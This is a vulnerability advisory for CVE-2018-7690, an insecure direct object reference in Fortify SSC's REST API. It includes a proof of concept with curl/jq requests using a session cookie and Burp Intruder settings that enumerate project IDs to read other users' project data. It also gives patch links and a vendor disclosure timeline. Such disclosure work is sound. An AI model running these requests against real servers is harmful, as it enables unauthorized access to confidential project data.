扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 |
Details ================ Software: Fortify SSC (Software Security Center) Version: 17.10, 17.20 & 18.10 Homepage: https://www.microfocus.com Advisory report: https://github.com/alt3kx/CVE-2018-7690 CVE: CVE-2018-7690 CVSS: 6.5 (Medium; AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) CWE-639 Description ================ Fortify SSC (Software Security Center) REST-API contain Insecure direct object references (IDOR) allowing reading arbitrary details of other user's Fortify projects via GET method Vulnerability ================ Fortify SSC (Software Security Center) 7.10, does not properly check ownership of projects, which allows remote authenticated (view-only) users to read arbitrary details via API projects ID parameter to /api/v1/projects/{NUMBER} Note: View-only Role, is a restricted role, can view results, but cannot interfere with the issue triage or the remediation process. Proof of concept ================ Pre-requisites: - curl command deployed (Windows or Linux) - jq command deployed (for parsing JSON fields), (Windows or Linux) - Burpsuite Free/Pro deployed or any other Proxy to catch/send the request (optional) Step (1): LogOn into fortifyserver.com SSC (Software Security Center) 17.10 with your view-only role (restricted), The URL normally is avaiable as following: Target: https://fortifyserver.com/ssc/#/ Step (2): Once logged extract the Cookie field, the formmat normallly as following: "Cookie: JSESSIONID=A98ACC5DA0FB519210D9C198D2F4E3FF;" Step (3): Start BurpSuite Free/Pro or any other HTTP proxy (optional) listen port 8080 as default Step (4): The offending GET is: GET /ssc/api/v1/projects/2 HTTP/1.1 Host: fortifyserver.com Connection: close Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: JSESSIONID=A98ACC5DA0FB519210D9C198D2F4E3FF; Step (5): Test the first GET (to be included the cookie session) request and parsing the JSON data received using curl and jq commands as following: # curl -s -k -X GET https://fortifyserver.com/ssc/api/v1/projects/2 -H "Host: fortifyserver.com" -H "Connection: close" -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8" -H "Accept-Encoding: gzip, deflate" -H "Accept-Language: en-US,en;q=0.9" -H "Cookie: JSESSIONID=A98ACC5DA0FB519210D9C198D2F4E3FF;" -b "JSESSIONID=A98ACC5DA0FB519210D9C198D2F4E3FF" --proxy http://127.0.0.1:8080 | jq '.data' You should see the following response project details: { "createdBy": "admin", "name": "Project Name Here", "description": "", "id": 2, "creationDate": "2012-08-03T09:43:36.000+0000", "issueTemplateId": null } Step (6): Now extract all the projects details registered into Fortify SSC server: Payload:https://fortifyserver.com/ssc/api/v1/projects/{NUMBER} , and change the number as following: # curl -s -k -X GET https://fortifyserver.com/ssc/api/v1/projects/5 -H "Host: fortifyserver.com" -H "Connection: close" -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8" -H "Accept-Encoding: gzip, deflate" -H "Accept-Language: en-US,en;q=0.9" -H "Cookie: JSESSIONID=A98ACC5DA0FB519210D9C198D2F4E3FF;" -b "JSESSIONID=A98ACC5DA0FB519210D9C198D2F4E3FF" --proxy http://127.0.0.1:8080 | jq '.data' You should see other project details available as following: { "createdBy": "alex", "name": "Project Name Here", "description": "", "id": 5, "creationDate": "2012-09-21T09:35:16.000+0000", "issueTemplateId": null } Step (7): Automate with BurpSuite Pro/Free choose: Payload Positions: "Intruder Tab -> Positions" highlight as following: -> /ssc/api/v1/projects/§1§ Payloads set: "Intruder Tab -> Payloads" with the following data: -> Payload set: 1 -> Payload type: Numbers Payload Options [Numbers]: -> Type: Sequential -> From: 0 -> To: 1500 -> Step: 1 Then start attack... Have fun! Mitigations ================ Install the latest patches availabe here: https://softwaresupport.softwaregrp.com/doc/KM03298201 Disclosure policy ================ We believes in responsible disclosure. Please contact us on Alex Hernandez aka alt3kx(at) protonmail com to acknowledge this report. This vulnerability will be published if we do not receive a response to this report with 10 days. Timeline ================ 2018-05-24: Discovered 2018-05-25: Retest PRO environment 2018-05-31: Vendor notification, two issues found 2018-05-31: Vendor feedback received 2018-06-01: Internal communication 2018-06-01: Vendor feedback, two issues are confirmed 2018-06-05: Vendor notification, new issue found 2018-06-06: Vendor feedback, evaluating High submission 2018-06-08: Vendor feedback, High issue is confirmed 2018-06-19: Researcher, reminder sent 2018-06-22: Vendor feedback, summary of CVEs handled as official way 2018-06-26: Vendor feedback, official Hotfix for High issue available to test 2018-06-29: Researcher feedback 2018-07-02: Researcher feedback 2018-07-04: Researcher feedback, Hotfix tested on QA environment 2018-07-05: Vendor feedback, fixes scheduled Aug/Sep 2018 2018-08-02: Reminder to vendor, feedback received OK! 2018-09-26: Reminder to vendor, feedback received OK! 2018-09-26: Fixes received from the vendor 2018-10-02: Internal QA environment failed, re-building researcher 's ecosystem 2018-10-11: Internal QA environment failed, re-building researcher 's ecosystem 2018-10-11: Feedback from the vendor, technical details provided to the researcher 2018-10-16: Fixes now tested on QA environment 2018-11-08: Reminder received from the vendor, feedback provided by researcher 2018-11-09: Re-rest fixes on QA environment 2018-11-15: Re-rest fixes on QA environment now with SSC 18.20 version deployed 2018-11-21: Researcher feedback 2018-11-23: Fixes working well/confirmed by researcher 2018-11-23: Vendor feedback, final details to disclosure the CVE and official fixes available for customers. 2018-11-26: Vendor feedback, CVE, and official fixes to be disclosure 2018-11-26: Agreements with the vendor to publish the CVE/Advisory. 2018-12-12: Public report Discovered by: Alex Hernandez aka alt3kx: ================ Please visit https://github.com/alt3kx for more information. My current exploit list @exploit-db: https://www.exploit-db.com/author/?a=1074 & https://www.exploit-db.com/author/?a=9576 |
体验盒子
